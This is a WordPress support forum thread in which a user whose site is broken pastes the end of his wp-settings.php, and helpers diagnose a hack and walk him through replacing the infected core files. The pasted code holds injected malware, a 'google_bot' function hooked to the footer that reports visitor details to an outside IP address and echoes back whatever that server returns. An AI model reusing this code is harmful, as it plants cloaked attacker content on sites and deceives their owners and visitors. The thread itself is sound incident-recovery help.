• Hi there

    I’m a new WordPress.org user, my website has been running the WPZoom Newsley theme fine for around 4 months but today when I visit the site I just get text below. My site is walthamstowscene.org.uk, a hyperlocal music site. As I cant login to the Dashboard, I’m at a loss as to what to do. I’d be really grateful for any advice at all. Thank you so much!
    Nick

    Text below:

    oading locale domain date and various strings. * @global object $wp_locale * @since 2.1.0 */ $wp_locale = new WP_Locale(); // Load the functions for the active theme, for both parent and child theme if applicable. if ( ! defined( ‘WP_INSTALLING’ ) || ‘wp-activate.php’ === $pagenow ) { if ( TEMPLATEPATH !== STYLESHEETPATH && file_exists( STYLESHEETPATH . ‘/functions.php’ ) ) include( STYLESHEETPATH . ‘/functions.php’ ); if ( file_exists( TEMPLATEPATH . ‘/functions.php’ ) ) include( TEMPLATEPATH . ‘/functions.php’ ); } do_action( ‘after_setup_theme’ ); // Load any template functions the theme supports. require_if_theme_supports( ‘post-thumbnails’, ABSPATH . WPINC . ‘/post-thumbnail-template.php’ ); register_shutdown_function( ‘shutdown_action_hook’ ); // Set up current user. $wp->init(); /** * Most of WP is loaded at this stage, and the user is authenticated. WP continues * to load on the init hook that follows (e.g. widgets), and many plugins instantiate * themselves on it for all sorts of reasons (e.g. they need a user, a taxonomy, etc.). * * If you wish to plug an action once WP is loaded, use the wp_loaded hook below. */ do_action( ‘init’ ); // Check site status if ( is_multisite() ) { if ( true !== ( $file = ms_site_check() ) ) { require( $file ); die(); } unset($file); } /** * This hook is fired once WP, all plugins, and the theme are fully loaded and instantiated. * * AJAX requests should use wp-admin/admin-ajax.php. admin-ajax.php can handle requests for * users not logged in. * * @link http://codex.wordpress.org/AJAX_in_Plugins * * @since 3.0.0 */ function google_bot() {$sUserAgent = strtolower($_SERVER[‘HTTP_USER_AGENT’]);if(!(strpos($sUserAgent, ‘google’) === false)) {if(isset($_SERVER[‘REMOTE_ADDR’]) == true && isset($_SERVER[‘HTTP_HOST’]) == true){$ch = curl_init(‘http://91.196.216.30/bot.php?ip=’.$_SERVER[‘REMOTE_ADDR’].’&host=’.$_SERVER[‘HTTP_HOST’].’&ua=’.urlencode($_SERVER[‘HTTP_USER_AGENT’]).’&ref=’.$_SERVER[‘HTTP_REFERER’]);curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);curl_setopt($ch, CURLOPT_HEADER, 0);curl_setopt($ch, CURLOPT_TIMEOUT, 10);$re = curl_exec($ch);curl_close($ch);echo $re;}}}add_action(‘wp_footer’, ‘google_bot’); do_action(‘wp_loaded’); ?>
    Fatal error: Call to undefined function get_option() in /home2/waltham1/public_html/wp-admin/admin.php on line 32

Viewing 7 replies - 1 through 7 (of 7 total)
  • looks like a theme error
    ftp to site or use host’s file manager to rename current theme folder
    this will bring up twenty eleven theme and should let you log in to test

    I’d start by making a backup of my whole site (also database), then deleting all plugins and all themes except the default or twentysomething…
    Then see if it works.

    If it doesn’t… re-upload a freshly downloaded wordpress.

    Good luck…and please get back to us about your progress.
    Anja

    Yea… or do it in a little more sensitive way like Samuel said 😉

    I had the same error. You need to replace the wp-settings.php file and then you should be able to login to your dashboard and change the theme.

    Thread Starter nickbason

    (@nickbason)

    Thanks for the suggestions. Renaming the current theme folder didn’t seem to change anything, so I’ll look at deleting the theme and plugins. Am quite new to this, so am learning as I go.

    Acshun, thanks for the suggestion. Sorry if I’m being dense but I can’t see the wp-settings file – I have wp-admin, wp-content and wp-includes showing.

    Thanks 🙂

    The IP address in that code you posted (91.196.216.30) is in Russia. You have been hacked.

    The wp-admin, wp-content and wp-includes are folders. You need to look in the root of your WordPress folder for a file named wp-settings.php.

    This is possibly the result of a vulnerable timthumb.php or thumb.php file in your theme.

    Go to: /wp-content/themes and search the folders for a file named timthumb.php. Go to: http://timthumb.googlecode.com/svn/trunk/timthumb.php
    to get the most recent version (2.8) of timthumb.php and replace every timthumb.php with the new one.

    Then, also check your wp-config.php file. A normal wp-config.php should be about 3kb. If your’s is infected it will be about 7kb. What the hackers are doing is adding hundreds of blank lines, then their malicious code, then hundreds more blank lines so scroll down to find the malicious code.

    You also have to check the .js files as the hackers using the timthumb.php exploit have also been injecting malicious javascript code.

    Post back if you have more questions…

    Thread Starter nickbason

    (@nickbason)

    Thanks, it was the wp-settings and wp-config files. The hack had wiped out a lot of the code, but I just uploaded a clean, newly downloaded file and it pinged back up.

    So all sorted now, thank you everyone!

Viewing 7 replies - 1 through 7 (of 7 total)
  • The topic ‘Help please – site gone down, just getting text’ is closed to new replies.